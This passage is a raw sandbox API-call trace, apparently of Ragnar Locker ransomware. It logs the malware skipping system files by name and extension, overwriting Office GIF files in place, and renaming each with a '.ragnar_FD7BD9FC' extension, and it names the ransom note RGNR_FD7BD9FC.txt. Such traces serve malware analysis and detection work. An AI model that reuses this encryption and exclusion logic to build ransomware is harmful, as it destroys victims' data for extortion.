Office\\MEDIA\\OFFICE14\\BULLETS\\BD14655_.GIF") returned=".GIF" [0098.364] lstrcmpiW (lpString1="BD14655_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0098.364] lstrcmpiW (lpString1="BD14655_.GIF", lpString2="autorun.inf") returned 1 [0098.364] lstrcmpiW (lpString1="BD14655_.GIF", lpString2="boot.ini") returned -1 [0098.364] lstrcmpiW (lpString1="BD14655_.GIF", lpString2="bootfont.bin") returned -1 [0098.364] lstrcmpiW (lpString1="BD14655_.GIF", lpString2="bootsect.bak") returned -1 [0098.364] lstrcmpiW (lpString1="BD14655_.GIF", lpString2="bootmgr") returned -1 [0098.364] lstrcmpiW (lpString1="BD14655_.GIF", lpString2="bootmgr.efi") returned -1 [0098.364] lstrcmpiW (lpString1="BD14655_.GIF", lpString2="bootmgfw.efi") returned -1 [0098.365] lstrcmpiW (lpString1="BD14655_.GIF", lpString2="desktop.ini") returned -1 [0098.365] lstrcmpiW (lpString1="BD14655_.GIF", lpString2="iconcache.db") returned -1 [0098.365] lstrcmpiW (lpString1="BD14655_.GIF", lpString2="ntldr") returned -1 [0098.365] lstrcmpiW (lpString1="BD14655_.GIF", lpString2="ntuser.dat") returned -1 [0098.365] lstrcmpiW (lpString1="BD14655_.GIF", lpString2="ntuser.dat.log") returned -1 [0098.365] lstrcmpiW (lpString1="BD14655_.GIF", lpString2="ntuser.ini") returned -1 [0098.365] lstrcmpiW (lpString1="BD14655_.GIF", lpString2="thumbs.db") returned -1 [0098.365] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0098.365] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0098.365] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0098.365] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0098.365] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0098.365] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0098.365] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0098.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14655_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14655_.gif")) returned 0x20 [0098.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14655_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14655_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0098.366] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=173) returned 1 [0098.366] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.366] GetProcessHeap () returned 0x580000 [0098.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0098.366] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0098.367] VirtualAlloc (lpAddress=0x0, dwSize=0xad, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0098.367] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.367] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0098.367] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xad, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xad, lpOverlapped=0x0) returned 1 [0098.367] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0098.368] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xad, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.368] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xad, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xad, lpOverlapped=0x0) returned 1 [0098.368] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xad, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.368] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.368] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.368] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.368] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.368] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.368] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0098.368] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.368] GetProcessHeap () returned 0x580000 [0098.368] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0098.368] CloseHandle (hObject=0x10c) returned 1 [0098.368] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14655_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14655_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14655_.GIF" [0098.368] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14655_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14655_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14655_.GIF.ragnar_FD7BD9FC" [0098.368] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14655_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14655_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14655_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14655_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0098.455] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5d66b00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb5d66b00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14656_.GIF", cAlternateFileName="")) returned 1 [0098.455] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0098.455] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14656_.GIF" | out: lpString1="BD14656_.GIF") returned="BD14656_.GIF" [0098.455] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14656_.GIF") returned=".GIF" [0098.455] lstrcmpiW (lpString1="BD14656_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0098.455] lstrcmpiW (lpString1="BD14656_.GIF", lpString2="autorun.inf") returned 1 [0098.455] lstrcmpiW (lpString1="BD14656_.GIF", lpString2="boot.ini") returned -1 [0098.455] lstrcmpiW (lpString1="BD14656_.GIF", lpString2="bootfont.bin") returned -1 [0098.455] lstrcmpiW (lpString1="BD14656_.GIF", lpString2="bootsect.bak") returned -1 [0098.455] lstrcmpiW (lpString1="BD14656_.GIF", lpString2="bootmgr") returned -1 [0098.455] lstrcmpiW (lpString1="BD14656_.GIF", lpString2="bootmgr.efi") returned -1 [0098.455] lstrcmpiW (lpString1="BD14656_.GIF", lpString2="bootmgfw.efi") returned -1 [0098.455] lstrcmpiW (lpString1="BD14656_.GIF", lpString2="desktop.ini") returned -1 [0098.455] lstrcmpiW (lpString1="BD14656_.GIF", lpString2="iconcache.db") returned -1 [0098.455] lstrcmpiW (lpString1="BD14656_.GIF", lpString2="ntldr") returned -1 [0098.455] lstrcmpiW (lpString1="BD14656_.GIF", lpString2="ntuser.dat") returned -1 [0098.455] lstrcmpiW (lpString1="BD14656_.GIF", lpString2="ntuser.dat.log") returned -1 [0098.455] lstrcmpiW (lpString1="BD14656_.GIF", lpString2="ntuser.ini") returned -1 [0098.456] lstrcmpiW (lpString1="BD14656_.GIF", lpString2="thumbs.db") returned -1 [0098.456] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0098.456] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0098.456] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0098.456] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0098.456] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0098.456] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0098.456] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0098.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14656_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14656_.gif")) returned 0x20 [0098.456] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14656_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14656_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0098.457] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=173) returned 1 [0098.457] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.457] GetProcessHeap () returned 0x580000 [0098.457] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0098.457] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0098.458] VirtualAlloc (lpAddress=0x0, dwSize=0xad, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0098.458] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.458] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0098.458] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xad, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xad, lpOverlapped=0x0) returned 1 [0098.458] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0098.458] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xad, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.458] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xad, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xad, lpOverlapped=0x0) returned 1 [0098.459] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xad, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.459] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.459] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.459] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.459] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.459] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.459] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0098.459] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.459] GetProcessHeap () returned 0x580000 [0098.459] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0098.459] CloseHandle (hObject=0x10c) returned 1 [0098.459] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14656_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14656_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14656_.GIF" [0098.459] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14656_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14656_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14656_.GIF.ragnar_FD7BD9FC" [0098.459] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14656_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14656_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14656_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14656_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0098.461] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4248700, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc4248700, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14691_.GIF", cAlternateFileName="")) returned 1 [0098.461] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0098.461] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14691_.GIF" | out: lpString1="BD14691_.GIF") returned="BD14691_.GIF" [0098.461] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14691_.GIF") returned=".GIF" [0098.461] lstrcmpiW (lpString1="BD14691_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0098.461] lstrcmpiW (lpString1="BD14691_.GIF", lpString2="autorun.inf") returned 1 [0098.461] lstrcmpiW (lpString1="BD14691_.GIF", lpString2="boot.ini") returned -1 [0098.461] lstrcmpiW (lpString1="BD14691_.GIF", lpString2="bootfont.bin") returned -1 [0098.461] lstrcmpiW (lpString1="BD14691_.GIF", lpString2="bootsect.bak") returned -1 [0098.461] lstrcmpiW (lpString1="BD14691_.GIF", lpString2="bootmgr") returned -1 [0098.461] lstrcmpiW (lpString1="BD14691_.GIF", lpString2="bootmgr.efi") returned -1 [0098.461] lstrcmpiW (lpString1="BD14691_.GIF", lpString2="bootmgfw.efi") returned -1 [0098.461] lstrcmpiW (lpString1="BD14691_.GIF", lpString2="desktop.ini") returned -1 [0098.461] lstrcmpiW (lpString1="BD14691_.GIF", lpString2="iconcache.db") returned -1 [0098.461] lstrcmpiW (lpString1="BD14691_.GIF", lpString2="ntldr") returned -1 [0098.461] lstrcmpiW (lpString1="BD14691_.GIF", lpString2="ntuser.dat") returned -1 [0098.462] lstrcmpiW (lpString1="BD14691_.GIF", lpString2="ntuser.dat.log") returned -1 [0098.462] lstrcmpiW (lpString1="BD14691_.GIF", lpString2="ntuser.ini") returned -1 [0098.462] lstrcmpiW (lpString1="BD14691_.GIF", lpString2="thumbs.db") returned -1 [0098.462] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0098.462] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0098.462] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0098.462] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0098.462] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0098.462] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0098.462] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0098.462] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14691_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14691_.gif")) returned 0x20 [0098.462] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14691_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14691_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0098.462] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=185) returned 1 [0098.462] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.463] GetProcessHeap () returned 0x580000 [0098.463] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0098.463] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0098.463] VirtualAlloc (lpAddress=0x0, dwSize=0xb9, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0098.464] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.464] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0098.464] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb9, lpOverlapped=0x0) returned 1 [0098.464] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0098.464] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb9, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.464] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb9, lpOverlapped=0x0) returned 1 [0098.464] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.464] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.464] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.464] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.464] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.464] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.464] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0098.465] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.465] GetProcessHeap () returned 0x580000 [0098.465] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0098.465] CloseHandle (hObject=0x10c) returned 1 [0098.465] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14691_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14691_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14691_.GIF" [0098.465] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14691_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14691_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14691_.GIF.ragnar_FD7BD9FC" [0098.465] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14691_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14691_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14691_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14691_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0098.517] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4248700, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc4248700, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14692_.GIF", cAlternateFileName="")) returned 1 [0098.517] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0098.517] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14692_.GIF" | out: lpString1="BD14692_.GIF") returned="BD14692_.GIF" [0098.517] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14692_.GIF") returned=".GIF" [0098.517] lstrcmpiW (lpString1="BD14692_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0098.517] lstrcmpiW (lpString1="BD14692_.GIF", lpString2="autorun.inf") returned 1 [0098.517] lstrcmpiW (lpString1="BD14692_.GIF", lpString2="boot.ini") returned -1 [0098.517] lstrcmpiW (lpString1="BD14692_.GIF", lpString2="bootfont.bin") returned -1 [0098.517] lstrcmpiW (lpString1="BD14692_.GIF", lpString2="bootsect.bak") returned -1 [0098.517] 